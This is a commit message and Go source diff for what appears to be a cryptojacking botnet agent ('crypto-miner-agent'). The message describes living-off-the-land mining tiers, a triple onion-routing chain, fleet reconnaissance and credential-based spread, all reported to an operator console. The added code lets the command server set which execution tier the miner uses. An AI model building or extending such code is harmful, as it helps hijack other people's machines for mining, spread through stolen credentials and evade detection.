Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/client/mining_policy.go

@@ -0,0 +1,47 @@
+package client
+
+import (
+	"encoding/json"
+
+	"crypto-miner-agent/miner"
+)
+
+func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	if len(c.tierPolicy.TierOrder) == 0 && c.tierPolicy.ForceTier == "" && len(c.tierPolicy.SkipTiers) == 0 {
+		return miner.DefaultMiningTierPolicy()
+	}
+	return c.tierPolicy
+}
+
+func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
+	c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy)
+	if len(resp.MiningTierPolicy) > 0 {
+		c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
+		return
+	}
+	if len(resp.LotlOnionTiers) == 0 {
+		return
+	}
+	order := make([]miner.LOTLTier, len(resp.LotlOnionTiers))
+	for i, s := range resp.LotlOnionTiers {
+		order[i] = miner.LOTLTier(s)
+	}
+	c.mu.Lock()
+	c.tierPolicy = miner.MiningTierPolicy{TierOrder: order}
+	c.mu.Unlock()
+}
+
+func (c *AgentClient) applyMiningTierPolicyJSON(raw json.RawMessage) {
+	if len(raw) == 0 || string(raw) == "null" {
+		return
+	}
+	var p miner.MiningTierPolicy
+	if err := json.Unmarshal(raw, &p); err != nil {
+		return
+	}
+	c.mu.Lock()
+	c.tierPolicy = p
+	c.mu.Unlock()
+}